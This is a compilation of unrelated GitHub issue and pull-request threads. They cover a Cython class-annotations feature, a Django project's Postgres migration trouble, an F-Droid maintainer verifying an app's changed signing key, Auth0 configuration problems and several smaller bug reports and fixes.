Version info not parsed on Chrome app

@jiayliu @tkchin

lgtm
On Tue, Mar 3, 2015 at 1:57 PM, Chuck Hays<EMAIL_ADDRESS>wrote:

@jiayliu https://github.com/jiayliu @tkchin https://github.com/tkchin
You can view, comment on, or merge this pull request online at:
https://github.com/webrtc/apprtc/pull/102
Commit Summary

Version info not parsed on Chrome app

File Changes

M src/web_app/js/appwindow.js
https://github.com/webrtc/apprtc/pull/102/files#diff-0 (2)

Patch Links:

https://github.com/webrtc/apprtc/pull/102.patch
https://github.com/webrtc/apprtc/pull/102.diff

—
Reply to this email directly or view it on GitHub
https://github.com/webrtc/apprtc/pull/102.

--
Jiayang Liu


add multi-field scoping for slugs

Add option for multi-field scoping in slugs, expanding beyond single-field/relation scopes without altering existing functionality

@johnnyshields any comments/issues?

Hey @dblock, @johnnyshields any updates on merging? 😊

@mikekosulin great work, merged! Thanks.


Single quote replacement

It adds two new settings to enable single quotes replacement for values.


May I get some help with POSITION_TARGET_LOCAL_NED

Hi,
I'm a big fan of this project and trying to build a proof of concept GCS using Vue.js. I'm very familiar with MAVSDK and can control my drone via SITL using drone.offboard.set_position_ned. I'd like to experiment with sending local coordinates using mavlink2rest. I'm using curl to post the following position message:
{
  "header": {
    "system_id": 255,
    "component_id": 1,
    "sequence": 0
  },
  "message": {
    "type": "POSITION_TARGET_LOCAL_NED",
    "time_boot_ms": 0,
    "x": 5,
    "y": 5,
    "z": -5,
    "vx": 0.0,
    "vy": 0.0,
    "vz": 0.0,
    "afx": 0.0,
    "afy": 0.0,
    "afz": 0.0,
    "yaw": 0.0,
    "yaw_rate": 0.0,
    "type_mask": {
      "bits": 0
    },
    "coordinate_frame": {
      "type": "MAV_FRAME_LOCAL_NED"
    },
    "target_system": 1,
    "target_component": 1,
    "confirmation": 0
  }
}

I get an Ok. response but the drone does not move when viewing in QGC. I'm wondering if someone may be able to help review my JSON request and see if you notice anything that I'm missing or doing work?
Thank you.

Hey @dbaldwin are you still having such problems ?

@patrickelectric I got this working but can't remember if I took another approach. I will close it for now and when I get back to it I will update the issue with what I did. Thanks for checking in.


Classes lack annotations (PEP-526)

With python 3.7 dataclasses were introduced.
They work just fine in Cython except for their standard init function.
How to reproduce:
test.pyx
from dataclasses import dataclass

@dataclass
class TestClass:
	x: int
	y: int
	some_string: str

This file compiles to Cython code just fine.
However, when ran from the python it raises an error:
test2.py
import test

test_class = test.TestClass(1, 2, 'string')

This raises the following:
Traceback (most recent call last):
  File ".\test2.py", line 3, in <module>
    test_class = test.TestClass(1, 2, 'string')
TypeError: __init__() takes 1 positional argument but 4 were given

if you rename test.pyx to test.py and do not compile it, no such error occurs.
my current workaround:
setting each property after initialization separately:
test.pyx remains unchanged.
test.py
import test

test_class = test.TestClass()
test_class.x = 1
test_class.y = 2
test_class.some_string = 'string'

I don't think we currently create a __annotations__ for classes. PR welcome.

I unfortunately didn't have much time these past few weeks to look at this. I've come up with a couple of test cases, however, that should get us pretty far on the way to full support of __annotations__. You can check them out here.
I have two main questions now:

Do we need full compliance with CPython or would you also consider merging something incomplete if it enables the (correct) use of dataclasses and NamedTuples? I think it should be pretty straightforward to add the annotations to the __annotations__ dict (passing test case Annotations above), which should be enough for the aforementioned use cases. I'm not sure how hard it would be to satisfy some of the other test cases though.
@scoder's explanation above was quite helpful (thanks!), but it seems that NameNode.generate_assignment_code is only invoked for actual assignments. So if we have a type annotated class variable that doesn't get a value assigned (i.e. just foo: int), we cannot add that to __annotations__ this way. Is there some function that's invoked for class variable declarations regardless of assignment?

You could handle 2) in ExprStatNode, which wraps non-statement expressions, such as arbitrarily sprinkled NameNodes.
Regarding compliance, I don't think there is all that much missing. I certainly wouldn't want a random hack that makes it mostly work but would have to be replaced completely when doing it right. I'd rather take at least some steps in the right direction.

Oh, and in fact, ExprStatNode marks its expression as unused, so that the non-assignment NameNode.generate_code() should be able to know that it only needs to store its annotation and be done. Although it could be that these nodes are discarded somewhere in the compiler pipeline. In that case, they should stay if they have an annotation to share.

Regarding namedtuples specifically, there is also #536 that would probably still prevent the usage even if this ticket was resolved.  PRs welcome.

enabling annotations on a class would be very beneficial for me:

dataclasses
pydantic classes (very similar, but available in python:3.6)
(nice to have) namedtuple, but as said this would need more fixes.

@scoder : i would be willing to help, but find it difficult to assess if this is a reasonable goal for me. i have quite some python experience and a little bit of C++ experience. can you give any indication on the amount of work this might take? (days, weeks, months?). i understand that this is very difficult to say upfront.
maybe also i can contribute in another way by researching some specifics / adding preliminary tests?

@ra-kete : you're link to tests no longer works. can you provide them again?

With PEP-563 in place, I think this now got much easier since annotations are now plain and simple strings. We might get away with building the dict in Python and adding it to the class dict as is, similar to what we do for function annotations:
https://github.com/cython/cython/blob/bcae4d1f31135bdcbedadc83e751f13e18de9d0c/Cython/Compiler/ExprNodes.py#L9371-L9377
So, I think most of the work will be collecting (from CPython)/adapting/writing tests, then building the __annotations__ dict from whatever there is in the class body, and then possibly a little bit of generated C code in the Py3ClassNode to add it to the class's namespace mapping.
@GliderGeek want to give it a try?

thanks for the quick reply. i will try to get some proper time to work on this.
in the meantime i have tried a little workaround:
class Annotated:
    x: int
    y: int

    __annotations__ = {'x': int, 'y': int}

this seems to work properly. is this what you meant by "get away with building the dict in Python and adding it to the class dict "?

Sorry, with "in Python", I meant "in the Python code of the Cython compiler", i.e. in AST nodes (that was very unclear), as opposed to "in hand written C code". As done for functions.
But the end result will then be generated C code that implements pretty much what you spelled out above, yes. (Although PEP 563 would make it __annotations__ = {'x': 'int', 'y': 'int'}.

@ra-kete : you're link to tests no longer works. can you provide them again?

Sorry, I can't. Cleaned up my repos some time ago and forgot about this issue, so those tests are gone for good, unfortunately.

Popping in here - I've got a fork where I've attempted your recommendation, @scoder.
I'm very unclear as to exactly what kind of StatNode objects to expect in the class_def body, so this is my best guess:
https://github.com/seandstewart/cython/blob/master/Cython/Compiler/ExprNodes.py#L9060
I've also added a test here, based on your recommendation:
https://github.com/seandstewart/cython/blob/master/tests/run/pyclass_annotations_pep526.py

@seandstewart cool! I was thinking that the annotations should be collected by the nodes themselves, but looking through the constraints in PEP-526 again, it seems that even a simple solution like this might work. The test is ok as well, but should be extended to cover more declaration cases from PEP-526. Note that you don't strictly need a test function. You can use the docstring of the class as well as a doctest.
Here's what CPython uses:
https://github.com/python/cpython/blob/master/Lib/test/ann_module.py
https://github.com/python/cpython/blob/master/Lib/test/ann_module2.py
https://github.com/python/cpython/blob/master/Lib/test/ann_module3.py
Test for those are here:
https://github.com/python/cpython/blob/master/Lib/test/test_grammar.py
https://github.com/python/cpython/blob/57572b103ebd8732ac21922f0051a7f140d0e405/Lib/test/test_parser.py#L149
I've just updated the test_grammar.py copy that we use in Cython from Py3.9, but excluding the tests that use the external modules. While they could be integrated, I think it's better to create a separate test set from the annotation modules.

Hey @scoder - thanks for the pointers!
I've made some progress here. I've got the compiler actually extracting the correct node and building the list of annotations. However, I've hit a snag. When passing in the simple annotation.string, building the annotations_dict seems to work fine, however annotations_dict.py_result() ends up None. I tried passing the AnnotationNode directly to the dict instead (this feels more compliant, since the pure-python result will either be a string object or the class itself, depending upon how it's declared) but then annotations_dict.analyse_types(code) fails.
The relevant portions:
https://github.com/seandstewart/cython/blob/master/Cython/Compiler/ExprNodes.py#L9060-L9077
https://github.com/seandstewart/cython/blob/master/Cython/Compiler/ExprNodes.py#L9096-L9098

I think this would better fit into Nodes.PyClassDefNode instead of ExprNodes.Py3ClassNode.
The creation of the DictNode() should be done at the end of PyClassDefNode.analyse_declarations(), which analyses the declared names and variables in the class, long before the code generation happens. The result can be prepended (?) to the self.body.stats list (self.body is a StatListNode), as an assignment expressed in a SingleAssignmentNode (see the usages in Parsing.py), which should assign the DictNode result to an IdentifierStringNode for the __annotations__ key (in Python: __annotations__ = {…}). The rest should then happen more or less automatically from the syntax tree nodes.
I also think that it's probably a good idea to move the annotations over from their owning nodes into the DictNode values, i.e. set them to None, to prevent duplicate node references in the tree. I don't think they are used elsewhere.
This also seems worth a new method. :)

Great, yes, I think this is definitely the preferred approach, and will be in-line with CPython’s behavior.
One caveat - annotations with assignments should remain in the class body, whereas annotations without assignments can be safely removed, I think.
I’ll play with CPython’s AST and see how they handle this.

Oh, I just meant to set .annotation = None, not the whole statement node.  The node can just stay there, it won't hurt.

@seandstewart I don't think there's a PR for this yet, right? Could you open one, so that we can move this forward?

Hey @scoder  - apologies for the radio silence here, I haven't been able to work on side projects for a while. I'll try and put something together soon, I hadn't quite got the tests passing, IIRC.

awesome news that this is implemented :tada: thanks a lot


RecyclerView

Hi @imandolatkia ! First of all I have to say that this library is AMAZING, this just save my life really!!
Could you explain how to implement this feature in a recycler? You said this a long time ago but I can´t se any related video :octocat:
HI @SudoDios,
It's a really good question.
1- You should synchronize the RecyclerView theme in Viewholders. I mean in the RecyclerView adapter and inonBindViewHolder method, with the use of ThemeManager.
2- After the theme is changed, if the fragment that contained RecyclerView was displaying, call notifyDataSetChanged() from its adapter.
I will add the sample in a week.
Thanks a lot !!! And again, very good job !!!

Awesome, if you could tell me how did you implement it would be amazing mate, I can´t get my head around to be honest and been triying a couple of hours now.
Thanks a lot @SudoDios !!!


Collaborate on Changes to integrate Flume and Rain Machine for leak detection

Here's the reminder from Steve Hoyt per your request

The current PG3 implementation doesn't allow plugins to talk to each other, so not sure how this could work.  Please remind me how you thought this could happen and reopen the issue.


Cannot "Create in Cloud" a DPS article which has been imported from a WP post

Using version 2.0.6 of the plugin, I can no longer successfully use the "Create in Cloud" option in a DPS article which has been imported from a WP post.

I do believe this was working in version 2.0.3 however. I still have articles that I linked this way to the cloud and can unlink and create them in the cloud again with success.

Hi @jeffreyflores,
Do you happen to have duplicate keywords? We're working on a fix to catch dupe keywords on the plugin level before they are sent to DPS.
-Studio Mercury

No I don't have anything in the 'internal keywords' field nor the 'keywords' field. I've just noticed now however, that after reverting to v2.0.3 I can only "Create in the Cloud" one article before I get the same error I posted above. Something to note, I can't actually write anything into the "Internal Keywords" field and save it. This is true for v2.0.3 at least.

@jeffreyflores We found the culprit. There were duplicate internal keywords but they weren't showing up in the interface. We've resolved it and you shouldn't see this error anymore. We've also added the plugin into the WP plugin portal so if you open your plugins in WP you should see there's an update to the plugin and be able to automatically update it through WP. We'll be pushing out updates through this method in the future.

@jeffreyflores,
We just pushed 2.0.10 tonight, would you upgrade the plugin and see if this problem still persists?
Thank you,
Studio Mercury

@jeffreyflores we've released a major update to the plugin that has better handling for importing and checks for duplicate tags/keywords. This issue should be resolved in the newest version.


Right click doesn't work in vm's console in vcenter

From time to time I use vcenter to see "console" of virtual machine. Right click doesn't work in this view (menu doesn't appear in virtualized Windows). Everything is fine under chrome where wrapper is not used.

Hi. There were similar issue: #177. What helped then is to change browser User-Agent header, removing any mention of "Linux" from it. Could you check whenever that works in your case?
Another possible fix is to add enable_windowed_mode = 0 to ~/.config/freshwrapper.conf

Hello? Have you tried any of those workarounds?


Auth0 Configuration Problems Using Deployment Instructions - "Consent required"

When using the deployment instructions (here) to deploy the UI and Server application just on Localhost, I'm getting errors from Auth0 on using the authentication on a non-verifiable first party application.
I've tried to adapt the instructions on setting up Auth0 to the best of my knowledge even though it looks like the Auth0 on-boarding and set-up has changed drastically since the instructions were written.
Any help on this would be much appreciated or if there is any option to disable Auth0 (I see there was a way in a previous version) that would be great as I will only be running this instance locally for testing.
Thanks.

Hello,
I think we (at Mappy) faced to the same deployment problem with current dev version.
After a few hours of code digging, the following comment lines pointed me a first solution : https://github.com/conveyal/datatools-ui/blob/c72cdc97da6f92fcdee3fd8dae4a84a918f0aec1/lib/manager/actions/user.js#L174 => With current Auth0 version, you will need to create a rule in order to expose user/app metadata, as discussed here : https://community.auth0.com/t/how-can-i-make-app-metadata-available-in-userinfo-endpoint/6664/3 (replace 'https://yourdomain.com/' by 'http://datatools/')
Then on server-side, you will need to bump the search_engine version from v2 to v3 ( at https://github.com/conveyal/datatools-server/blob/065c1ec9860780678ae957cc8f1fde82b54b9bcf/src/main/java/com/conveyal/datatools/manager/auth/Auth0Users.java#L52, and
https://github.com/conveyal/datatools-server/blob/065c1ec9860780678ae957cc8f1fde82b54b9bcf/src/main/java/com/conveyal/datatools/manager/auth/Auth0Users.java#L56)
Also pay attention to the fact that current Auth0 account requires a .pem public key https://github.com/conveyal/datatools-server/blob/065c1ec9860780678ae957cc8f1fde82b54b9bcf/configurations/default/env.yml.tmp#L4 (see your Auth0 dashboard).
With these modifications in addition to dev doc instructions, Auth0 part was OK.
So I confirm that this part of doc (+ PG > 9.6 requirement) need to be refreshed. We could try to propose a PR on doc, if Conveyal maintainers agree.

Hi @AlternateF, we're happy to accept a PR for updates to this process for the docs.  I think some of what you described (e.g., setting up an Auth0 rule) is contained within the docs already, but if there are gaps or something is otherwise unclear, we are certainly open to improvements. Please do document the justification for any of the changes you have described and reference this issue in your PR.
Thanks for attempting to diagnose this issue. I'm curious to know if this worked for @geofsu.

Hi, I'm having a similar problem. The documentation has incompatibilities with the latest version. Waiting new document. Thank you.

@landonreed : Haha, indeed the metadata workaround is already documented in *.md dev docs, so I realize that online dev docs are outdated. Can you upload an up to date mkdoc'ed version, or I need to open a specific issue for that?
Then what seems to remain to have a fully functional setup is

document > 9.6 postgres version dependency (related to gtfs-lib )
upgrade search_engine param version on server side.

@landonreed : according the doc, as far as I understood, Auth0 user search engine v2 has been deprecated and is now turned off :  Migrate from Search v2 to v3.

@AlternateF
Did you make any other changes aside from what you have documented?
The Auth0 interface is quite different from the documentation.
I have made the changes as per above but still have a "Failed Silent Auth" issue. See log below.

)

Im still getting the same issue. I think the best solution is getting rid of Auth0 since it is causing a lot issues.

I'm also getting stuck at the "consent_required" when trying to log in for the first time. Have the others solved this? How?
Any help would be highly appreciated?


fix: remove peer deps to test amplify-js v5 support

Description of changes

Issue #, if available

Description of how you validated changes
Checklist

[ ] PR description included
[ ] yarn test passes
[ ] Tests are [changed or added]
[ ] Relevant documentation is changed or added (and PR referenced)

Codecov Report

Merging #179 (eb069d9) into main (1af00d2) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #179   +/-   ##
=======================================
  Coverage   43.67%   43.67%
=======================================
  Files          16       16
  Lines        1264     1264
  Branches      170      170
=======================================
  Hits          552      552
  Misses        712      712

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Adding in new scoped npm install location.

Seems wist is for a different project, so just updating the docs so others can install it a little easier 😄

I didn't realize there was another package in the NPM repository called wist :flushed:

Neither did I! Until I checked it out and wondered where your bin file was.  😂
Sall good. :D


ui : InputDialog

meant to replace the old GedInputDialog which I think was based on QT's QLineEdit

done.
https://github.com/tweakoz/orkid/commit/28e5b204a35bce6cbf7f81b067a795b35aafd4c9


Unify networking benchmarks

Description
Join networking benchmarks into a single script ./run.sh and improve README.md
This is a breaking change, we should push changes to airflow (or use a specific e2e-benchmarking commit/version) before merging it.

/rerun network-perf:run.sh

Results for e2e-benchmarking CI Tests

Workload
Test
Result
Runtime

/rerun all network-perf:run.sh

/rerun all network-perf:run.sh

Results for e2e-benchmarking CI Tests

Workload
Test
Result
Runtime

network-perf
run.sh
PASS
00:04:32

Results for e2e-benchmarking CI Tests

Workload
Test
Result
Runtime

/rerun all network-perf:run.sh

/rerun all network-perf:run.sh

Results for e2e-benchmarking CI Tests

Workload
Test
Result
Runtime

network-perf
run.sh
PASS
00:05:52

This PR on Airflow is aligned with this change
https://github.com/cloud-bulldozer/airflow-kubernetes/pull/132

/rerun all network-perf:run.sh

/rerun all network-perf:run.sh

Results for e2e-benchmarking CI Tests

Workload
Test
Result
Runtime

network-perf
run.sh
PASS
00:06:00


Not able to migrate

this is the error, i am not able to solve

Hey Anurag,
I did what you suggested but still facing the same problem, can you please create a new virtual env and clone your project and try to run then notify me.
Thank you
Shivani

Hello Shivani,
First of all, thanks for going through the recommended steps!
After doing the error analysis from the screenshot you've attached, I found out that there's a blockage in port 5432 due to some 3rd party application. It may be due to the Windows Firewall or some other application.
[cid:d09b4745-1c31-4272-9bbd-e5e20f42dd5a]
For sorting out this issue, I am giving you the official troubleshooting steps recommended by the Django community. So, please follow the link below.
Troubleshooting Steps - click herehttps://django.fun/en/qa/427033/
Perform the troubleshooting and let me know the status.
Note: As I can see, you're using Windows 11 OS, so the link I've given is specifically covering that same OS.

Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 27 September 2022 03:26 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hey Anurag,
I did what you suggested but still facing the same problem, can you please create a new virtual env and clone your project and try to run then notify me.
Thank you
Shivani
—
Reply to this email directly, view it on GitHubhttps://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1259267203, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AHNV3CEOANK42J56LSPLVDLWALADPANCNFSM6AAAAAAQSVPLGE.
You are receiving this because you commented.Message ID: @.***>

++ Attaching your specific portion of error screenshot

Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: Kumar Anurag @.>
Sent: 28 September 2022 10:47 AM
To: kmranrg/TravelWorld @.>; kmranrg/TravelWorld @.>
Cc: Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hello Shivani,
First of all, thanks for going through the recommended steps!
After doing the error analysis from the screenshot you've attached, I found out that there's a blockage in port 5432 due to some 3rd party application. It may be due to the Windows Firewall or some other application.
[cid:d09b4745-1c31-4272-9bbd-e5e20f42dd5a]
For sorting out this issue, I am giving you the official troubleshooting steps recommended by the Django community. So, please follow the link below.
Troubleshooting Steps - click herehttps://django.fun/en/qa/427033/
Perform the troubleshooting and let me know the status.
Note: As I can see, you're using Windows 11 OS, so the link I've given is specifically covering that same OS.

Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 27 September 2022 03:26 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hey Anurag,
I did what you suggested but still facing the same problem, can you please create a new virtual env and clone your project and try to run then notify me.
Thank you
Shivani
—
Reply to this email directly, view it on GitHubhttps://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1259267203, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AHNV3CEOANK42J56LSPLVDLWALADPANCNFSM6AAAAAAQSVPLGE.
You are receiving this because you commented.Message ID: @.***>

Hi Anurag,
I tried what you suggested  but now its showing this.

One more thing i am not able to understand is i didn't setup postgresql with your project. I just clone, and run pip freeze > requirements.txt and pip install -r requirements.txt and then migrate command, so is these all steps what i need to do to run your project.

Hello Shivani,
Let me know about your availability so that we can schedule a troubleshooting session for this. We will be performing the following steps in the meeting:

Installing the Postgres and enabling it in the background
We will go to telusko\settings.py in the project folder
Around line 78, there's DATABASES dictionary, we will set the value for keys ('NAME', 'USER' & 'PASSWORD') to 'postgres'
Then we'll execute python3 manage.py makemigrations & python3 manage.py migrate
Finally, we will run the project by python3 manage.py runserver

.....................................................................................
Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 28 September 2022 04:32 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hi Anurag,
I tried what you suggested but now its showing this.
[image]https://user-images.githubusercontent.com/87324312/192762282-7d86b036-c25a-4cc5-8a73-47c61a4a5036.png
One more thing i am not able to understand is i didn't setup postgresql with your project. I just clone, and run pip freeze > requirements.txt and pip install -r requirements.txt and then migrate command, so is these all steps what i need to do to run your project.
—
Reply to this email directly, view it on GitHubhttps://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1260741070, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AHNV3CDZK7LQ7G5QEWH6TS3WAQQVFANCNFSM6AAAAAAQSVPLGE.
You are receiving this because you commented.Message ID: @.***>

Hi Anurag
Thanks for the help, Project is running now.
Btw Didn't you do testing of this application?
Regards
shivani
On Thu, Sep 29, 2022 at 8:34 AM Kumar Anurag @.***>
wrote:

Hello Shivani,
Let me know about your availability so that we can schedule a
troubleshooting session for this. We will be performing the following steps
in the meeting:

Installing the Postgres and enabling it in the background
We will go to telusko\settings.py in the project folder
Around line 78, there's DATABASES dictionary, we will set the value for
keys ('NAME', 'USER' & 'PASSWORD') to 'postgres'
Then we'll execute python3 manage.py makemigrations & python3 manage.py migrate
Finally, we will run the project by python3 manage.py runserver

.....................................................................................
Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 28 September 2022 04:32 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hi Anurag,
I tried what you suggested but now its showing this.
[image]<
https://user-images.githubusercontent.com/87324312/192762282-7d86b036-c25a-4cc5-8a73-47c61a4a5036.png>
One more thing i am not able to understand is i didn't setup postgresql
with your project. I just clone, and run pip freeze > requirements.txt and
pip install -r requirements.txt and then migrate command, so is these all
steps what i need to do to run your project.
—
Reply to this email directly, view it on GitHub<
https://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1260741070>,
or unsubscribe<
https://github.com/notifications/unsubscribe-auth/AHNV3CDZK7LQ7G5QEWH6TS3WAQQVFANCNFSM6AAAAAAQSVPLGE>.
You are receiving this because you commented.Message ID: @.***>
—
Reply to this email directly, view it on GitHub
https://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1261688644,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AU2HNGAHZB6AEKR75OCVYWDWAUBMVANCNFSM6AAAAAAQSVPLGE
.
You are receiving this because you authored the thread.Message ID:
@.***>

Hello Shivani,
I'm glad that the project is now working for you!
Actually, I created this project two years ago so at that time this project was running good. But in 2 years, there's lot of updates happened in modules/libraries that I've used. So, because of that we needed to change few things like Postgres. I remember at that time, I never used Postgres in this project.
Once again, special thanks to you that I got a chance to update this project.
.......................................................................
Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 29 September 2022 04:32 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hi Anurag
Thanks for the help, Project is running now.
Btw Didn't you do testing of this application?
Regards
shivani
On Thu, Sep 29, 2022 at 8:34 AM Kumar Anurag @.***>
wrote:

Hello Shivani,
Let me know about your availability so that we can schedule a
troubleshooting session for this. We will be performing the following steps
in the meeting:

Installing the Postgres and enabling it in the background
We will go to telusko\settings.py in the project folder
Around line 78, there's DATABASES dictionary, we will set the value for
keys ('NAME', 'USER' & 'PASSWORD') to 'postgres'
Then we'll execute python3 manage.py makemigrations & python3 manage.py migrate
Finally, we will run the project by python3 manage.py runserver

.....................................................................................
Thanks & Regards,
Kumar Anurag
CEO & Founder of SmartGurucool

From: shivani @.>
Sent: 28 September 2022 04:32 PM
To: kmranrg/TravelWorld @.>
Cc: Kumar Anurag @.>; Comment @.>
Subject: Re: [kmranrg/TravelWorld] Not able to migrate (Issue #9)
Hi Anurag,
I tried what you suggested but now its showing this.
[image]<
https://user-images.githubusercontent.com/87324312/192762282-7d86b036-c25a-4cc5-8a73-47c61a4a5036.png>
One more thing i am not able to understand is i didn't setup postgresql
with your project. I just clone, and run pip freeze > requirements.txt and
pip install -r requirements.txt and then migrate command, so is these all
steps what i need to do to run your project.
—
Reply to this email directly, view it on GitHub<
https://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1260741070>,
or unsubscribe<
https://github.com/notifications/unsubscribe-auth/AHNV3CDZK7LQ7G5QEWH6TS3WAQQVFANCNFSM6AAAAAAQSVPLGE>.
You are receiving this because you commented.Message ID: @.***>
—
Reply to this email directly, view it on GitHub
https://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1261688644,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AU2HNGAHZB6AEKR75OCVYWDWAUBMVANCNFSM6AAAAAAQSVPLGE
.
You are receiving this because you authored the thread.Message ID:
@.***>

—
Reply to this email directly, view it on GitHubhttps://github.com/kmranrg/TravelWorld/issues/9#issuecomment-1262119454, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AHNV3CBXHCW3BLE3CX2QUQDWAVZNHANCNFSM6AAAAAAQSVPLGE.
You are receiving this because you commented.Message ID: @.***>


signing key issue

There's still no answer from you on the signing key issue, you even deleted #36 where I asked what happened. So I must assume a security issue here which is attempted to be "covered" and will have to disable updates entirely for your app in my F-Droid repo, adding a warning to the description.
As the latest release also adds proprietary components (FCM), and it doesn't look as if you're interested in solving the issue above but rather hide the problem, I think the proper solution on my end is rather removing your app here entirely – which I will do now. If security issues are ignored and even hidden, I must consider that as too dangerous a source to be suggested to folks for usage, sorry.

can we have the conversation on mail this is my mail id<EMAIL_ADDRESS>

Gmail does not accept my mails (and I don't want them to scan them anyway) as I had to find out recently, it rather "eats them silently" (they neither get delivered nor bounced), so that won't work. If you have a non-Gmail account, I gladly continue the discussion by mail (unfortunately, Github has no such thing as "confidential issues" it seems – or I haven't yet found it). You can find my mail address on the "imprint" of my servers – or just use the first 4 letters of my nick here in front of the @, followed by the full nick and a trailing .de.

I have sent you the mail.

I told you that Gmail seems to silently drop mails I send there? In a test run a couple of days ago, out of 4 mails, 4 failed. So sorry if my answers won't make it through – I can never tell (sometimes they do), so I cannot rely on that. Hence I'll have to continue here as this is the only means of contacting you left to me:
# v1.0
Signer #1 certificate DN: C=91, L=Kolkata, CN=Aritra Das
Signer #1 certificate SHA-256 digest: e73b826b3b2946f0e66c456d6c3007e236b82efa258b55dc865a3747d1271f4c
Signer #1 certificate SHA-1 digest: 3771d1e3883c4b02f43fc1d39230f55774fbdcc7
Signer #1 certificate MD5 digest: 7aec106ddc6902c7e5c640b37905bed9

# v1.1.0+
Signer #1 certificate DN: C=91, ST=West Bengal, L=Kolkata, CN=Aritra Das
Signer #1 certificate SHA-256 digest: 6b998202ca7ca7bf6376a70749c1cae6e07a2f34915eae9aea4fcd03c3c34555
Signer #1 certificate SHA-1 digest: d2cb4c287620894597f87efcd41c2330f5a37e25
Signer #1 certificate MD5 digest: dd8eba2a6b32170de31903de9fd03e6a

So something must have happened between v1.0 and v1.1.0. Moved to a new machine? Fresh setup? Different build environment?
It's nothing to be ashamed of, things happen. You won't believe how many developers "lose" their signing keys one way or the other (hint: since I've established the security measure of having signatures checked in my repo, there was not a single week with not at least one such occurrence – which statistically makes it look like 1 out of 20 has this issue at least once). Thing is we now need a way to keep up trust – to make sure it's really you, and that not someone else e.g. "hacked your account".
Ah, there: Good thing you're using "signed commits" from time to time! So I found several of them dating back to before the release of v1.0, and their key ID (4AEE18F83AFDEB23) matches what was used by the most recent signed commit long after the "incident". So, trust established: as it's pretty unlikely someone got hold of your PGP/GPG key AND your Github account (but not of your signing key), I'm now convinced to talk to the "original author" here.
OK, so even if what exactly happened might remain a mystery (my guess is you changed something in your development environment, which did not take along your key and thus the "convenience of the framework" kicked in generating a new key without you noticing the fact), based on the proof given by your signed commits I feel confident enough to re-establish your app – with the new key. Which I have done now, it will become available here with the next sync at around 6 pm UTC again. That said, be welcome to pick a badge to point there, accompanying the two (Google, Github) already present in your Readme :wink:
Sorry for the inconvenience, but I had to make sure all is "in order" (your deleting that other issue without any proper note was just looking … ahem … "strange"). And thanks for understanding! Should you find out what lead to the key change, please let me know: I'm collecting how things can go wrong with that for a possible write-up (of course without naming people) including how to best prevent before – or fix after (i.e. what measures to take).
I'm closing this issue now as I consider it solved. Should you have any questions left, I gladly try answering them if I can of course!

Okay got it.
So during the release of v1.0 on GitHub I mistakenly published the APK file not the Signed APK file and on Play Store I have uploaded the Signed app bundle doing all the proper steps required.
So during v1.1.0 I published the generate apk on GitHub and signed app bundle on Play Store.
I don't know how this signing key got changed.


Add FIPS compliance override

When ART is compiling for production builds, a wrapper around "go" is employed to force FIPS compliant compilation. For example, static linking will be transparently replaced with dynamically link and "FIPS or Die" mode will be enabled.
We want extension binaries to be statically linked so that they are not sensitive to being copied into a container with a different environment. "exempt_all" permits this, even for ART production builds.

/lgtm


exposure keys being inserted into the database although verification fails.

There is a case which we spotted where it seems regardless of an error in the verification token keys are being inserted into the database, which leads to a subsecquent error when keys are being re-submitted later due to a verification token error.
The verification error in question is "unable to unmarshall / descrypt revision token: token has invalid key id: 3"
Then immediatly after that "Inserted 12 exposures."

Do you have revision token bypass turned on?

or verification token bypass turned on? -either, both?

No its all off

This also started happening this morning, not sure if its related

that second error indicates an invalid verification certificate - not a 3 segment JWT.

we are re verifying the jwt once more and will revert back, until you have more for the first issue.

Can you share anything from the logs on the initial issue?

Also - the initial error message is the revision token NOT the verification certificate. Different things.

@mikehelmick This is the trace for the inital issue :

The token contains invalid number of segments error comes from the JWT parsing library.
https://github.com/dgrijalva/jwt-go/blob/master/parser.go#L99
I'm going to add an option to debug log the JWTs themselves that fail so that an operator could verify the issue.


optimizer CPU offload doesn't work outside of CUDA

The CPUOptimizerOffload class is very clever, but overly relies on CUDA Streams, which aren't available w/o a CUDA device.
should use torch.cpu.Stream and torch.cpu.current_stream instead.
additionally, pin_memory=True if torch.cuda.is_available() else False as MPS is a unified mem arch.

Yes, CPU offload optimizer only works on CUDA. There is no point to support other devices. Perhaps we should make it clearer 🤔

If you train with CPU, well, you don't need CPU offload
If you train with MPS, since it is unified memory, again, you don't need CPU offload.

I'm not too familiar with other hardware, so not sure how this works with AMD and Intel GPUs.

